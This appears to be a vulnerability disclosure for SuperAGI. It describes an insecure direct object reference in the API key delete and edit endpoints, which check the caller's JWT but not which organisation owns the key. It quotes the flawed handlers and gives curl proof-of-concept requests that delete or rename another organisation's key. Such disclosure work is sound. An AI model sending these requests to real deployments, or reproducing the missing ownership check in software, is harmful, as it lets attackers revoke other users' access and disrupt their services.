YLChen-007 / **ISSUE-Github-REPORT-APIKey-IDOR.md** Secret

Created last month

Code Revisions 1

IDOR in API Key Management Allows Deleting or Modifying Any Organizations API Keys

ISSUE-Github-REPORT-APIKey-IDOR.md

Advisory Details

Title: IDOR in API Key Management Allows Deleting or Modifying Any Organization's API Keys

Description:

Summary

The API key management endpoints (`DELETE /api-keys/{id}` and `PUT /api-keys`) allow any authenticated user to delete or modify API keys belonging to other organizations. The endpoints authenticate the user via JWT but perform no ownership verification on the target API key.

Details

Both endpoints in `superagi/controllers/api_key.py` use `check_auth` (JWT validation only) without verifying the API key belongs to the requesting user's organization:

```
# superagi/controllers/api_key.py, lines 53-60
@router.delete("/{api_key_id}")
def delete_api_key(api_key_id: int, Authorize: AuthJWT = Depends(check_auth)):
    api_key = ApiKey.get_by_id(db.session, api_key_id)  # ← No org check!
    if api_key is None:
        raise HTTPException(status_code=404, detail="API key not found")
    ApiKey.delete_by_id(db.session, api_key_id)  # ← Deletes ANY org's key
    return {"success": True}

# superagi/controllers/api_key.py, lines 63-68
```

```
@router.put("")
def edit_api_key(api_key_in: ApiKeyIn, Authorize: AuthJWT = Depends(check_aut
    api_key = ApiKey.get_by_id(db.session, api_key_in.id)  # ← No org check!
    api_key.name = api_key_in.name
    db.session.commit()
    return {"success": True}
```

PoC

```
# Attacker with valid JWT
JWT="<attacker_jwt_token>"

# Delete victim's API key (key ID=1)
curl -s -X DELETE -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/api/api-keys/1"
# Response: {"success": true}

# Modify victim's API key (change name)
curl -s -X PUT -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  "http://localhost:3000/api/api-keys" \
  -d '{"id": 1, "name": "hacked"}'
```

Log of Evidence

Endpoint accessible — no org ownership check means any valid JWT works against any API key ID.

Impact

- **Service Disruption**: Deleting another org's API keys breaks their agent integrations.
- **Access Revocation**: Attacker can revoke legitimate users' programmatic access.
- **Denial of Service**: Systematic deletion of all API keys across the platform.

Affected products

- **Ecosystem**: pip
- **Package name**: SuperAGI
- **Affected versions**: All versions up to and including latest (`main` branch, commit `c3c1982`)
- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Weaknesses

- **CWE**: CWE-639: Authorization Bypass Through User-Controlled Key

Occurrences

Permalink
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L60
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193e L68